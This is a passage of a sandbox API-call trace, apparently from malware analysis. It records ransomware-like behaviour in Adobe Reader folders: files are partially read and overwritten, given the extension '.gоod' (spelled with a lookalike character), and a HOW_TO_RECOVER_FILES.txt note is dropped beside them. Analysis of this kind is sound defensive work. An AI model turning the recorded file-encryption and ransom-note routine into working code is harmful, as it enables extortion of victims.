(x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0243.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.434] GetFileType (hFile=0x85c) returned 0x1 [0243.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0243.434] GetFileType (hFile=0x85c) returned 0x1 [0243.434] ReadFile (in: hFile=0x85c, lpBuffer=0x395b8a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x395b8a8*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0243.462] CloseHandle (hObject=0x85c) returned 1 [0243.462] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0243.462] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.462] GetFileType (hFile=0x85c) returned 0x1 [0243.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0243.462] GetFileType (hFile=0x85c) returned 0x1 [0243.462] WriteFile (in: hFile=0x85c, lpBuffer=0x395a590*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x395a590*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0243.462] CloseHandle (hObject=0x85c) returned 1 [0243.462] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.463] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0243.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0243.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8d54e4fa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa3f9)) returned 1 [0243.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0243.463] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\ui-strings.js.gоod")) returned 1 [0243.464] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0243.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0243.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\en-gb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0243.656] GetFileType (hFile=0x85c) returned 0x1 [0243.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0243.656] GetFileType (hFile=0x85c) returned 0x1 [0243.656] WriteFile (in: hFile=0x85c, lpBuffer=0x38e17e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x38e17e0*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0243.657] CloseHandle (hObject=0x85c) returned 1 [0243.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0243.657] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es", lpFilePart=0x0) returned 0x71 [0243.657] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0243.658] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.658] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0243.658] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0243.658] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0243.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0243.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0243.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0243.659] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es", lpFilePart=0x0) returned 0x71 [0243.659] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0243.659] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.659] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0243.659] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0243.659] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0243.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0243.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0243.660] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0243.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38f1558 | out: lpFileInformation=0x38f1558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbe19)) returned 1 [0243.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0243.660] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0243.660] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.661] GetFileType (hFile=0x85c) returned 0x1 [0243.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0243.661] GetFileType (hFile=0x85c) returned 0x1 [0243.661] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0243.661] ReadFile (in: hFile=0x85c, lpBuffer=0x38f1a50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x38f1a50*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0243.662] CloseHandle (hObject=0x85c) returned 1 [0243.662] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0243.662] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.662] GetFileType (hFile=0x85c) returned 0x1 [0243.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0243.662] GetFileType (hFile=0x85c) returned 0x1 [0243.662] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0xbe19 [0243.662] WriteFile (in: hFile=0x85c, lpBuffer=0x38f3370*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x38f3370*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0243.663] CloseHandle (hObject=0x85c) returned 1 [0243.664] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0243.664] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.664] GetFileType (hFile=0x85c) returned 0x1 [0243.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0243.664] GetFileType (hFile=0x85c) returned 0x1 [0243.664] ReadFile (in: hFile=0x85c, lpBuffer=0x38f5a90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x38f5a90*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0243.691] CloseHandle (hObject=0x85c) returned 1 [0243.692] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0243.692] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.692] GetFileType (hFile=0x85c) returned 0x1 [0243.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0243.692] GetFileType (hFile=0x85c) returned 0x1 [0243.692] WriteFile (in: hFile=0x85c, lpBuffer=0x38f4778*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x38f4778*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0243.692] CloseHandle (hObject=0x85c) returned 1 [0243.692] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.692] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0243.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0243.692] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8d7645a3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbe29)) returned 1 [0243.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0243.692] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\ui-strings.js.gоod")) returned 1 [0243.693] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0243.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0243.694] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\es-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0243.694] GetFileType (hFile=0x85c) returned 0x1 [0243.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0243.694] GetFileType (hFile=0x85c) returned 0x1 [0243.820] WriteFile (in: hFile=0x85c, lpBuffer=0x38949c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x38949c8*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0243.821] CloseHandle (hObject=0x85c) returned 1 [0243.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0243.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi", lpFilePart=0x0) returned 0x71 [0243.821] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 